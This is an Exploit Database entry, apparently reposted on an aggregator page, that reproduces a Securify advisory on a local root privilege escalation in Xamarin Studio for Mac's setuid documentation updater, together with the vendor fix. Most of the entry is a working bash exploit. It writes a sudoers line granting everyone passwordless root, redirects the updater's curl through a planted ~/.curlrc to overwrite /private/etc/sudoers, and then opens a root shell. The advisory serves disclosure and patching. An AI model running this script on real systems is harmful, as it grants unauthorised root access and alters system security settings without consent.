Xamarin Studio for Mac 6.2.1 (build 3) / 6.3 (build 863) – Local Privilege Escalation

• Exploit Database
• 11 阅读

• 作者： Securify
  日期： 2017-08-14
• 类别：

  • local
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/42454/

• Source: https://www.securify.nl/advisory/SFY20170403/xamarin-studio-for-mac-api-documentation-update-affected-by-local-privilege-escalation.html
  
  Abstract
  
  Xamarin Studio is an Integrated Development Environment (IDE) used to create iOS, Mac and Android applications. Xamarin Studio supports developments in C# and F# (by default). The API documentation update mechanism of Xamarin Studio for Mac is installed as setuid root. This update mechanism contains several flaws that could be leveraged by a local attacker to gain elevated (root) privileges.
  
  Tested versions
  
  This issue was successfully verified on Xamarin Studio for Mac version 6.2.1 (build 3) and version 6.3 (build 863).
  
  Fix
  
  Microsoft released a new version of Xamarin.iOS that addresses this issue:
  - Security update for the elevation of privilege vulnerability for Xamarin.iOS: August 14, 2017 (4037359)
  
  #!/bin/bash
  # WARNING: this scripts overwrites ~/.curlrc and /private/etc/sudoers (when successful)
  #target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.6.0.10/share/doc/MonoTouch/apple-doc-wizard
  target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.8.0.175/share/doc/MonoTouch/apple-doc-wizard
  rm -rf ~/Library/Developer/Shared/Documentation/DocSets
   
  cat << __EOF > /private/tmp/sudoers
  %everyone ALL=(ALL) NOPASSWD: ALL
  __EOF
   
  cat << __EOF > ~/.curlrc
  url=file:///private/tmp/sudoers
  output=/private/etc/sudoers
  __EOF
   
  echo 
  echo "*** press CRL+C when the download starts ***"
  $target
  echo
   
  sudo -- sh -c 'rm -rf /private/tmp/ios-docs-download.*; su -'
   
  rm -f /private/tmp/sudoers ~/.curlrc